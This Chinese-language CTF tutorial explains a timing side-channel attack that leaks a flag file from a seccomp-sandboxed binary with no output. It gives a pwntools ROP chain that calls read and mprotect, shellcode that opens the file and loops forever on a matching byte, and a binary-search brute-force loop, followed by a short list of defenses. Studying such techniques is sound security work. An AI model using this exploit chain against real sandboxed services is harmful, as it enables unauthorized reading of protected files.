sandbox之侧信道攻击
字数 829 2025-08-22 12:22:48
侧信道攻击(Side-channel Attack)教学文档
一、侧信道攻击概述
侧信道攻击(Side-channel Attack, SCA)是一类通过观察计算机系统的物理特性来推断内部信息的攻击手段。这些物理特性包括但不限于:
- 耗电量
- 时间延迟
- 热量
- 功率
- 噪声
在PWN领域,侧信道攻击特指在程序没有正常回显的情况下,通过精心构造数据并观察程序的行为反馈(如错误、死循环等)来获取flag的攻击方式。
二、侧信道攻击的应用场景
典型场景
- 程序禁用了输出函数(如write)
- 沙箱采用白名单机制,只允许部分系统调用(如read、open)
- 需要泄露flag文件内容
攻击思路
- 执行shellcode打开flag文件
- 将flag内容读入已知内存区域
- 逐字节对比flag内容
- 使用cmp指令比较
- 匹配时进入死循环(无回显)
- 不匹配时程序继续执行并崩溃
- 通过观察程序是否在一定时间内崩溃来判断字符是否正确
三、技术实现细节
1. 汇编关键指令
cmp dl, {字符} ; 比较flag字符与猜测字符
jbe $ ; 匹配时跳转到当前地址(死循环)
2. 攻击必要条件
- 能够写入和执行自定义shellcode
- 禁用了execve系统调用且关闭了标准输出
- 标准错误未被关闭(用于反馈信息)
- 至少有一个可用的文件打开系统调用(open或openat)
3. 示例沙箱分析
void sandbox() {
struct sock_filter filter[] = {
{0x20,0x00,0x00,0x00000004}, // 加载架构信息
{0x15,0x00,0x09,0xc000003e}, // 检查是否为x86_64
{0x20,0x00,0x00,0x00000000}, // 加载系统调用号
{0x35,0x00,0x01,0x40000000}, // 检查系统调用号范围
{0x15,0x00,0x06,0xffffffff}, // 拒绝-1
{0x15,0x04,0x00,0x00000000}, // 允许read(0)
{0x15,0x03,0x00,0x00000002}, // 允许open(2)
{0x15,0x02,0x00,0x0000000c}, // 允许brk(12)
{0x15,0x01,0x00,0x0000000a}, // 允许mprotect(10)
{0x15,0x00,0x01,0x00000005}, // 允许fstat(5)
{0x06,0x00,0x00,0x7fff0000}, // 允许
{0x06,0x00,0x00,0x00000000}, // 拒绝
};
struct sock_fprog prog = {
.len = sizeof(filter)/sizeof(filter[0]),
.filter = filter,
};
prctl(PR_SET_NO_NEW_PRIVS, SECCOMP_MODE_STRICT, 0LL, 0LL, 0LL);
prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &prog);
}
四、完整攻击流程
1. 初始ROP链构造
from pwn import *
context(log_level="debug", arch="amd64", os="linux")
io = process("./pwn")
elf = ELF("./pwn")
rw_mem = 0x4C0000
payload = b"a" * 0x100
payload += b"b" * 8
payload += p64(next(elf.search(asm("pop rdi; ret;"), executable=True))) # pop rdi; ret
payload += p64(0) # stdin
payload += p64(next(elf.search(asm("pop rsi; ret;"), executable=True))) # pop rsi; ret
payload += p64(rw_mem) # 目标内存
payload += p64(elf.sym["read"]) # 调用read
payload += p64(next(elf.search(asm("pop rdi; ret;"), executable=True))) # pop rdi; ret
payload += p64(rw_mem) # 内存地址
payload += p64(next(elf.search(asm("pop rsi; ret;"), executable=True))) # pop rsi; ret
payload += p64(0x1000) # 大小
payload += p64(next(elf.search(asm("pop rdx; ret"), executable=True))) # pop rdx; ret
payload += p64(7) # RWX权限
payload += p64(elf.sym["mprotect"]) # 设置内存可执行
payload += p64(next(elf.search(asm("call rdi;"), executable=True))) # 执行shellcode
2. Shellcode构造
shellcode = asm("""
push 0x67616c66 # 'flag'字符串
mov rdi, rsp # 文件名指针
xor esi, esi # O_RDONLY
push 2
pop rax # open系统调用号
syscall # 打开文件
mov rdi, rax # 文件描述符
mov rsi, rsp # 缓冲区
mov edx, 0x100 # 读取大小
xor eax, eax # read系统调用号
syscall # 读取文件
mov dl, [rsp + {}] # 读取指定偏移
cmp dl, {} # 比较字符
jbe $ # 匹配则死循环
""".format(i, c))
3. 字符爆破函数
def check(i, c):
io = process("./pwn")
io.sendline(payload)
time.sleep(1)
io.send(shellcode)
try:
io.recv(timeout=1)
io.kill()
return True
except:
io.close()
return False
4. 主爆破循环
i = 0
flag = ""
while True:
l = 0x20 # 可打印字符起始
r = 0x7F # 可打印字符结束
# 二分法加速
while l < r:
m = (l + r) // 2
if check(i, m):
r = m
else:
l = m + 1
flag += chr(l)
log.info(flag)
i += 1
五、防御措施
- 消除时间差异:确保所有执行路径的时间一致
- 禁用非必要系统调用:严格限制沙箱权限
- 随机化内存布局:增加ASLR强度
- 监控异常行为:检测死循环等异常状态
- 输入验证:严格校验输入数据格式和长度
六、总结
侧信道攻击在受限环境下是一种有效的攻击手段,特别是在:
- 输出被禁用
- 系统调用受限
- 但能执行自定义代码
通过精心构造的ROP链和shellcode,结合时间侧信道分析,可以逐字节爆破出flag内容。防御此类攻击需要从多个层面进行防护,特别是消除可观测的行为差异。